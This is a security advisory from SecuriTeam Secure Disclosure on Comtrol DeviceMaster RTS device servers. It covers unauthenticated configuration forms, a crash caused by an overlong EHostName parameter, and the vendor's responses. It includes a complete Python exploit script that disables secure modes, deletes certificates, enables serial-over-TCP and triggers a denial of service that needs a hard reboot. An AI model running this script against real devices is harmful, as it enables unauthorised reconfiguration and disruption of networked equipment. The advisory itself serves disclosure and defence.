SSD Advisory – Comtrol RTS Configuration Modification and Memory Corruption

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
The DeviceMaster RTS family of serial device servers enables browser-based remote port/device monitoring and configuration and provides an application software platform for local processing. The DeviceMaster RTS product is a network-attached solid-state embedded device server network serial port that delivers exceptional price, performance and reliability.
Vulnerability Details
The Comtrol DeviceMaster RTS DB9M 2-Port 1E fails to protect several key resources related to configuration and operations by default. Combining that failure with a memory corruption vulnerability, at least exploitable to cause a device denial-of-service, a user can remotely modify the configuration of the device and force the operator to reboot the device in order to resume normal operations, forcing the arbitrary changes to take effect.

Analysis
This device exposes a lot of operational functionality, including SNMP, and many web forms for controlling configuration and provisioning without authentication:
setMailConfig
setSecurityConfig
setRfs1006Config
setPortConfig
uploadFile
deleteFile
Note: During testing, it was also noticed that even with various security settings turned on, there were still many operations left “unprotected”. This has not been confirmed in all scenarios, though, but enabling security options such as password protection may mitigate these bugs.
The example consequences for having the remote ability to modify these resources are as follows:

  • Change who gets email notifications about the device or turn all notifications off
  • Enable / Disable security options such as “Secure Data Mode” and “Secure Config Mode”
  • Enable TCP over any of the device’s serial ports
  • Modify (or delete) RSA keys and certificates

Once the device’s configuration is modified, the changes to take effect upon reboot.
Furthermore, it was discovered that sending a long “EHostName” parameter to the setMailConfig resource will cause the device to stop responding to requests to the web service, and interestingly the telnet service as well (although SSH still worked). This is likely the the result of memory corruption, but a debugger was not attached to verify. It requires a hard reboot (eg. disconnect power and reconnect power) in order to restore functionality.
Using these 2 bugs in combination:
Bug #1: Multiple Resources Modifiable without Authentication
Bug #2: Device Memory Corruption via Malformed Web Parameter
A user can assume remote control of the device and force the operator to perform a hard reboot in order to either make changes to device take effect or disrupt operations.
Exploit
A python3 script (comtrol_control.py) has been created that can be used to demonstrate these vulnerabilities. It exercises the resources the user has control over with the exception of setRfs1006Config and uploadFile. Both of these, like the others, are trivial to do manually via the unprotected area of device’s web interface. For example, you can easily upload keys using the buttons below.
key and certificate management
Notes
Secure Data Mode
“TCP connections that carry data [….] are encrypted using SSL or TLS security protocols” e.g. SSL and SSH enabled, Telnet disabled
Secure Config Mode
“Unencrypted access to administrative and diagnostic functions are disabled” e.g. SMTP and SNMP disabled, RedBoot disabled
Vulnerable Version
Comtrol DeviceMaster RTS DB9M 2-Port 1E, default firmware: SocketServer 7.11, and latest firmware: SocketServer 9.36
Vendor Response
We got quite a few different response from this vendor ranging from, there is no vulnerability (in February 2015), to we forwarded the vulnerability (in March 2015) to a technical person and then finally to (in July 2015):

The [encryption] key doesn’t seem to work any longer so we are unable to open the file.
At this point I would say to publish ‘as is’ for the version of firmware that was tested. That version would have been updated and the current version has no known vulnerabilities at this time.

So as far we know, the product using the latest firmware is no longer vulnerable to these issues – though no patch that we could locate have been released nor any mentioning that these vulnerabilities have been corrected.

#!/usr/bin/python
# comtrol_control.py
#
import sys
import socket
from httplib2 import Http
from urllib.parse import urlencode
port = 443
ssl = 0
goforms = "/goforms/"
#
# these are best ones to demonstrate, setRfc1006Config and uploadFile are unprotected as well
#
mailtoUrl     = goforms + "setMailConfig"
unsecureUrl   = goforms + "setSecurityConfig"
serialUrl     = goforms + "setPortConfig"
deletecertUrl = goforms + "deleteFile"
mailtoData = {"EmailIP":"1.2.3.4", "EHostName":"test", "ERcptName":"receiver@mail.com", "ESendName":"sender@mail.com"}
#
# options will be disabled if not explicitly set in request
# this will ensure telnet/ssh, SNMP are enabled, but disable the other options (secure data and config modes)
# eg. telnet=enabled, ssh=disabled, http=enabled, https=disabled
#
unsecureData = {"TelnetEnable":"0", "SnmpEnable":"0"}
serialData = {"portNum":"0", "portEnable":"1", "listenEnable":"1"}
#
# 0 = rsa key pair, 1 = rsa server cert, 2 = diffie-hellman key pair, 3 = client auth cert
#
deletecertData = {"fileIndex":"1"}
def main():
    if(len(sys.argv) < 3):
        print("Usage: %s <target> <operation> [ssl]\n" % sys.argv[0])
        print("Operations:\n")
        print("mailto     - Change email recipient")
        print("unsecure   - Disable both secure modes")
        print("serial     - Enable TCP over serial port 1")
        print("deletecert - Delete RSA certificate")
        print("dos        - Device DoS (needs hard reboot)")
        return
    target = sys.argv[1]
    operation = sys.argv[2]
    if(operation == "mailto"):
        url = mailtoUrl
        data = mailtoData
    elif(operation == "unsecure"):
        url = unsecureUrl
        data = unsecureData
    elif(operation == "serial"):
        url = serialUrl
        data = serialData
    elif(operation == "deletecert"):
        url = deletecertUrl
        data = deletecertData
    elif(operation == "dos"):
        url = mailtoUrl
        #
        # if you're connected to the diagnostic port 4607, it will keep running but most
        # everything else will go offline and if you disconnect, you can't reconnect
        #
        # likely memory corruption, but who's got a debugger for this thing?
        # perhaps here: http://www.direktronik.se/pdfer/i24-0611.pdf
        #
        data = {"EHostName":"B" * 4573}
    else:
        print("\nError: '%s' is not a valid operation\n" % operation)
        return
    if(len(sys.argv) > 3):
        request = "https://" + target + url
    else:
        request = "http://" + target + url
    try:
        print("\nSending Request: %s\n" % request)
        web = Http(timeout=5, disable_ssl_certificate_validation=True)
        response = web.request(request, "POST", urlencode(data))
    except Exception as error:
        print("Error: %s (If using dos option, this is normal)" % error)
        return
    print("Success! Now we must wait for a reboot.\n")
    print("Although, if you wish for the these changes to take affect sooner, use 'dos' :-)\n")
    #print("Response:\n%s\n" % response)
    return
def do_ssl(target, port):
    connection = http.client.HTTPSConnection(target, port)
    return connection
if __name__ == "__main__":
    main()